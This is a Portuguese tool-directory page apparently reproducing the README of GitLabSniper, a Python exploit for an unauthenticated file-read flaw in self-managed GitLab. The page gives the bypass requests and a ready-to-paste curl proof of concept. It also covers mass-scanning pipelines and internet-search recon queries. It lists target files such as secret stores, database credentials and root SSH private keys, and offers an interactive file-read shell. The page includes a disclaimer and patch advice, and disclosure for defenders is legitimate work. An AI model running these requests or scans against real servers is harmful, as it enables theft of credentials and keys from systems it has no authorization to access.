Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
GitLabSniper — Scanner e exploit em Python de arquivo único para CVE-2026-85706, uma leitura arbitrária de arquivos não autenticada no GitLab CE/EE autogerenciado, com enumeração de projetos, caminhos de loot e um shell interativo. | Kitploit
Ferramentas/GitHubGitHub/ynsmroztas/gitlabsniper
ReconhecimentoScanners de VulnerabilidadesExploraçãoScripting e AutomaçãoExploração de Aplicações WebExfiltração de DadosColeta de InformaçõesSegurança WebTestes de Penetração
GitHubynsmroztas/gitlabsniper

GitLabSniper

Scanner e exploit em Python de arquivo único para CVE-2026-85706, uma leitura arbitrária de arquivos não autenticada no GitLab CE/EE autogerenciado, com enumeração de projetos, caminhos de loot e um shell interativo.

2há 16h 53mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

GitLabSniper — pipeline de leitura de arquivos não autenticada CVE-2026-85706

GitLabSniper

CVE-2026-85706 — leitura arbitrária de arquivos não autenticada no GitLab CE/EE
detecção · enumeração de projetos públicos · coleta · shell interativo · pipeline subfinder/httpx


Autor: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Site: ynsmroztas.github.io
E-mail: [email protected]

Use apenas em sistemas que você possui ou está explicitamente autorizado a testar (bug bounty / VDP / contrato escrito).


O que é isto

GitLabSniper.py é um scanner/exploit Python de arquivo único para a CVE-2026-85706: uma leitura de arquivo local não autenticada no GitLab Community Edition e Enterprise Edition auto-gerenciados.

Ele não para em "a versão parece afetada". Ele dispara o bypass de diferencial de parser do Workhorse, classifica a resposta do Rails e só imprime FILE LEAK quando o corpo 400 contém os bytes do arquivo dentro de invalid %-encoding (...).

FaixaVersões
Afetadas18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
Corrigidas19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
Fora do escopogitlab.com · GitLab Dedicated

Como o bug funciona

Três endpoints de repositório ficam atrás do requestBodyUploader do Workhorse:

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

O Rails pega o campo bruto file.path e executa File.open antes de authenticate!. require_gitlab_workhorse! não é um gate real aqui: o Workhorse já carimba um JWT válido Gitlab-Workhorse-Api-Request em tudo que ele faz proxy.

O Workhorse deveria reescrever o upload primeiro. Sua regex de rota corresponde a EscapedPath() e a um clone de path.Clean que nunca faz percent-decode. O Puma faz decode de %XX antes do roteamento do Grape.

root@kitploit:~
Atacante
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← barra final também passa
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     regex vê "%63ommits" / "commits/"  → MISS  (sem reescrita)
        │
        ▼
Puma          decodifica %63 → commits                 → ROTEIA para o Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → ANTES da autenticação
        │
        ▼
Rack          parse_nested_query(File.read(path))
              "%" solto que não é %HH
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<bytes brutos do arquivo>)

file= em branco satisfaz requires :file, WorkhorseFile (em branco → nil). O canal de vazamento é o ramo urlencoded. JSON/Oj não ecoa os bytes do arquivo da mesma forma — a ferramenta sempre envia Content-Type=application/x-www-form-urlencoded.

//, /./, %2F e ; não fazem bypass: path.Clean normaliza os dois primeiros e o Puma rejeita %2F.

O id do projeto não é "de qual repositório roubar arquivos". file.path é um caminho absoluto no servidor. O id é apenas a parte da URL que chega ao controller vulnerável.

É por isso que a ferramenta enumera GET /api/v4/projects e pula ids com gate.

Um vazamento confirmado exige esta substring no corpo:

root@kitploit:~
invalid %-encoding (

Arquivos sem um % isolado ainda podem ser abertos (read-noecho / posteriormente branch is required), mas não serão ecoados. Isso é um oráculo, não um dump reportável.


Recursos

  • Fingerprint do GitLab (HTML / x-gitlab-* / sign-in) + faixa de versão quando visível
  • Enumeração de projetos públicos (GET /api/v4/projects)
  • Seleção automática de um id de projeto sem gate (fallback 1..7)
  • Matriz de bypass do Workhorse
    • %63ommits · %72epository · %66iles
    • barra final / · .json
    • POST + PUT em files
  • Classificador de resposta: leak · leak-fragment · read-noecho · missing · project-gate · rewrite ·

Instalação

root@kitploit:~
pip install requests
python3 GitLabSniper.py -h

Python 3.10+. Sem outras dependências.


Uso

Host único

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

Shell interativo

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --shell
root@kitploit:~
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

Pipeline (subfinder + httpx)

root@kitploit:~
subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin não é um TTY → --pipe é implícito
cat hosts.txt | python3 GitLabSniper.py --auto

O parser aceita:

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • objetos httpx -json (url / status_code)
  • host puro e host:port
  • pula linhas [0] / timeout / vazias

Flags

Códigos de saída: 0 vazamento · 1 apenas oráculo / sem vazamento no pipe · 2 sem sinal utilizável.


Vereditos

Não abra um crítico baseado apenas em read-noecho.


Caminhos de coleta padrão

root@kitploit:~
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ

Maior impacto quando ecoados: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, senha do BD).


PoC manual (mesma requisição que a ferramenta emite)

root@kitploit:~
curl -sk -X POST \
  "https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"

Instância vulnerável retorna JSON semelhante a:

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n  gitlab:\n    host: gitlab.example.com\n ... )"}

Em alguns hosts %63ommits retorna 401 e /repository/commits/ (barra final) é a forma que vaza. A ferramenta percorre todas as variantes.


Auxiliares de recon

root@kitploit:~
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"

Combine com subfinder | httpx | GitLabSniper.py --pipe --auto.


Aviso legal

Este repositório é para testes de segurança autorizados e validação defensiva após a aplicação de patches. Você é responsável pelo escopo.

Se você opera um GitLab auto-gerenciado na faixa afetada: atualize para 19.1.8 / 19.2.6 / 19.3.2 agora. Procure nos logs de acesso por POST /api/v4/projects/*/repository/commits com um parâmetro de query file.path.


Créditos

Vulnerabilidade reportada por s3ntago via GitLab HackerOne.

Write-up e PoC original no qual esta ferramenta é baseada:

https://github.com/guneykabel/cve-2026-85706

Agradecimentos a guneykabel por publicar um classificador claro (leak / missing / project-gate / rewrite) e a explicação do diferencial Workhorse ↔ Puma. O GitLabSniper envolve esse modelo com enumeração de projetos, coleta, shell e pipelines de recon.

Aviso / patches do GitLab: CE/EE 19.1.8, 19.2.6, 19.3.2.


Autor

Yunus Emre Öztaş · mitsec

  • X — x.com/ynsmroztas
  • GitHub — github.com/ynsmroztas
  • Web — ynsmroztas.github.io
  • E-mail — [email protected]
Baixar ferramenta
EndpointRequisito de projeto
files (%66iles)Qualquer id geralmente funciona — File.open ocorre antes das verificações de projeto
commits (%63ommits, commits/, commits.json)Precisa de um projeto que um usuário anônimo possa read_code. Caso contrário, 404 Project Not Found
noroute
  • Lista de coleta --auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, chaves ssh, environ)
  • Formulário funcional fixo após o primeiro vazamento
  • Shell interativo (cat, loot, secrets, passwd, project <id>, curl)
  • Pipeline: hosts brutos, httpx -sc -td -title, httpx -json, ANSI removido
  • Relatório JSON / JSONL (-o)
  • Banner HIT colorido + PoC curl pronto para colar
  • FlagSignificado
    -u / -t / --targetURL base única
    --pipeLê alvos do stdin
    -f / --listArquivo de hosts
    --fileUm caminho absoluto para ler
    --auto / --lootLista de arquivos GitLab de alto valor
    --shellShell interativo de leitura de arquivos
    --project-idForça o id do projeto (padrão: enum + fallback)
    --max-projectsLimita ids de enum/fallback (padrão 8)
    --forceEscaneia mesmo se o fingerprint for fraco
    --threadsWorkers do pipeline (padrão 8)
    --timeoutSegundos (padrão 15)
    -ohits.json ou hits.jsonl
    -qSilencioso
    --no-bannerSem banner
    TagSignificadoReportar?
    leakinvalid %-encoding ( + bytes do arquivoSim — confirmado
    leak-fragmentEco parcialTalvez, anexe o corpo
    read-noecho401 / branch is required após abertura, sem % no arquivoApenas oráculo
    missinglocal file not present — o bypass chegou ao discoOráculo de existência
    project-gate404 Project Not FoundTente outro id público
    rewriteWorkhorse reescreveu o corpo (Invalid json)Este formulário está morto
    noroute404 simplesCorrigido ou caminho errado
    other500 / restanteDespeje o corpo antes de afirmar